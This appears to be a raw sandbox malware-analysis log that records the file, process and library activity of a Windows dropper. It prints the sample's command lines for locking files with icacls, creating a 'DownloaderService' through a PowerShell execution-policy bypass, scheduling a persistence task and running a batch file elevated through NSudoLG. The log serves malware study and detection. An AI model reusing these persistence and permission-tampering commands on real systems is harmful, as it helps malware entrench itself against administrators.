parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003516)33:T520,Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; File: "random.exe") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; File: "random.exe") Found reference to API "GetVersion" (Indicator: "GetVersion"; File: "random.exe") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; File: "random.exe") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; File: "random.exe") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; File: "random.exe") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; File: "random.exe") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00000240.00000000.273897.00A31000.00000002.mdmp") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; Source: "00000000-00000240.00000000.273897.00A31000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00000240.00000000.273897.00A31000.00000002.mdmp, 00000000-00000240.00000001.274224.726E5000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00000240.00000000.273897.00A31000.00000002.mdmp, 00000000-00000240.00000001.274224.726E5000.00000002.mdmp")34:T13dc,"1a52M6.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\1a52M6.exe" at 00000000-00006500-00000C17-3270472178 "1a52M6.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll" at 00000000-00006500-00000C17-3270701650 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll" at 00000000-00000240-00000C17-3278093212 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" at 00000000-00000240-00000C17-3278446730 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00000240-00000C17-3280861917 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00000240-00000C17-3280940156 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll" at 00000000-00000240-00000C17-3281249279 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll" at 00000000-00000240-00000C17-3281271597 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00000240-00000C17-3281393732 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00000240-00000C17-3281419685 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00000240-00000C17-3281419959 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll" at 00000000-00000240-00000C17-3281965170 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00000240-00000C17-3282011920 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00000240-00000C17-3282025502 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00000240-00000C17-3282025777 "powershell.exe" queries volume information of "C:\" at 00000000-00000240-00000C17-3282659083 "powershell.exe" queries volume information of "C:\share" at 00000000-00000240-00000C17-3282660369 "powershell.exe" queries volume information of "C:\share" at 00000000-00000240-00000C17-3282836418 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00000240-00000C17-3284183326 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00000240-00000C17-3284723366 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00000240-00000C17-3284865252 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00000240-00000C17-3285078549 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll" at 00000000-00000240-00000C17-3285132020 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll" at 00000000-00000240-00000C17-3285147689 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll" at 00000000-00000240-00000C17-328516411435:T473,"random.exe" called "CreateDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00005940) "systemhelper.exe" called "CreateDirectoryW" with parameter C:\Users (UID: 00000000-00001396) "systemhelper.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00001396) "systemhelper.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData (UID: 00000000-00001396) "systemhelper.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Local (UID: 00000000-00001396) "systemhelper.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Temp (UID: 00000000-00001396) "systemhelper.exe" called "CreateDirectoryW" with parameter hater (UID: 00000000-00001396) "winloghelper.exe" called "CreateDirectoryA" with parameter %TEMP%\10718010101\ (UID: 00000000-00001536) "winloghelper.exe" called "CreateDirectoryA" with parameter %TEMP%\10718020101\ (UID: 00000000-00001536) "winloghelper.exe" called "CreateDirectoryA" with parameter %TEMP%\10718030101\ (UID: 00000000-00001536) "winloghelper.exe" called "CreateDirectoryA" with parameter %TEMP%\10718040101\ (UID: 00000000-00001536)36:Tde5,"random.exe" called "CreateProcessA" with parameter "%TEMP%\IXP000.TMP\1a52M6.exe" - (UID: 00000000-00005940) "random.exe" called "CreateProcessA" with parameter "%TEMP%\IXP000.TMP\2j4686.exe" - (UID: 00000000-00005940) "1a52M6.exe" called "CreateProcessW" with parameter ""cmd.exe" /c icacls "%WINDIR%\winloghelper.exe" /setowner "SYSTEM"" - (UID: 00000000-00006500) "1a52M6.exe" called "CreateProcessW" with parameter ""cmd.exe" /c icacls "%WINDIR%\winloghelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX" - (UID: 00000000-00006500) "1a52M6.exe" called "CreateProcessW" with parameter ""cmd.exe" /c icacls "%WINDIR%\winloghelper.exe" /remove:d Everyone Administrators" - (UID: 00000000-00006500) "1a52M6.exe" called "CreateProcessW" with parameter ""cmd.exe" /c icacls "%WINDIR%\systemhelper.exe" /setowner "SYSTEM"" - (UID: 00000000-00006500) "1a52M6.exe" called "CreateProcessW" with parameter ""cmd.exe" /c icacls "%WINDIR%\systemhelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX" - (UID: 00000000-00006500) "1a52M6.exe" called "CreateProcessW" with parameter ""cmd.exe" /c icacls "%WINDIR%\systemhelper.exe" /remove:d Everyone Administrators" - (UID: 00000000-00006500) "1a52M6.exe" called "CreateProcessW" with parameter ""cmd.exe" /c powershell -ExecutionPolicy Bypass -Command "New-Service -Name \"DownloaderService\" -BinaryPathName \"C:\Users\HAPUB" - (UID: 00000000-00006500) "1a52M6.exe" called "CreateProcessW" with parameter ""cmd.exe" /c net start "DownloaderService"" - (UID: 00000000-00006500) "1a52M6.exe" called "CreateProcessW" with parameter ""cmd.exe" /c schtasks /create /tn "WindowsLogsHelper" /xml "%TEMP%\WindowsLogsHelper.xml" /f" - (UID: 00000000-00006500) "1a52M6.exe" called "CreateProcessW" with parameter ""cmd.exe" /c start "" "%WINDIR%\winloghelper.exe"" - (UID: 00000000-00006500) "1a52M6.exe" called "CreateProcessW" with parameter ""cmd.exe" /c start "" "%WINDIR%\systemhelper.exe"" - (UID: 00000000-00006500) "cmd.exe" called "CreateProcessW" with parameter "icacls "%WINDIR%\DbLqLGVL.exe" /setowner "SYSTEM"" - (UID: 00000000-00005724) "cmd.exe" called "CreateProcessW" with parameter "icacls "%WINDIR%\DbLqLGVL.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX" - (UID: 00000000-00001360) "cmd.exe" called "CreateProcessW" with parameter "icacls "%WINDIR%\DbLqLGVL.exe" /remove:d Everyone Administrators" - (UID: 00000000-00008156) "systemhelper.exe" called "CreateProcessW" with parameter ""%TEMP%\d6VJvaC.bat"" - (UID: 00000000-00001396) "winloghelper.exe" called "CreateProcessW" with parameter ""%TEMP%\10718010101\download2.exe"" - (UID: 00000000-00001536) "winloghelper.exe" called "CreateProcessW" with parameter ""%TEMP%\10718020101\h6e2sYQ.exe"" - (UID: 00000000-00001536) "winloghelper.exe" called "CreateProcessW" with parameter ""%TEMP%\10718030101\XZa7bUK.exe"" - (UID: 00000000-00001536) "cmd.exe" called "CreateProcessW" with parameter "nircmd win min process "cmd.exe"" - (UID: 00000000-00007520) "cmd.exe" called "CreateProcessW" with parameter "chcp 65001" - (UID: 00000000-00007520) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKU\S-1-5-19"" - (UID: 00000000-00007520) "cmd.exe" called "CreateProcessW" with parameter "reg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f" - (UID: 00000000-00007520) "cmd.exe" called "CreateProcessW" with parameter "NSudoLG -U:T -P:E -UseCurrentConsole "%TEMP%\d6VJvaC.bat" any_word" - (UID: 00000000-00007520)37:T843f,"random.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005940) "random.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005940) "random.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005940) "random.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005940) "random.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00005940) "random.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00005940) "random.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00005940) "1a52M6.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006500) "1a52M6.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006500) "1a52M6.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006500) "1a52M6.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006500) "1a52M6.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00006500) "1a52M6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00006500) "1a52M6.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00006500) "1a52M6.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00006500) "1a52M6.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00006500) "1a52M6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00006500) "1a52M6.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00006500) "1a52M6.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00006500) "1a52M6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00006500) "1a52M6.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00006500) "1a52M6.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00006500) "1a52M6.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00006500) "1a52M6.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00006500) "1a52M6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00006500) "1a52M6.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006500) "1a52M6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006500) "1a52M6.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006500) "1a52M6.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00006500) "1a52M6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00006500) "1a52M6.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00006500) "1a52M6.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006500) "1a52M6.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00006500) "1a52M6.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00006500) "1a52M6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00006500) "1a52M6.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00006500) "1a52M6.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00006500) "1a52M6.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00006500) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001316) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001316) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001316) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001316) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004336) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004336) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004336) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004336) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004680) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004680) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004680) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004680) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003856) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003856) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003856) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003856) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002160) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002160) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002160) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002160) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003604) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003604) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003604) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003604) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000712) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000712) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000712) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000712) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.Mf49f6405#\e7f9e4af50c666b5fec85987c303915a\Microsoft.Management.Infrastr (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MPCLIENT.DLL (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MsMpLics.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00000240) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00000240) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007396) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007396) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007396) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007396) "net1.exe" called "LoadLibrary" with a parameter 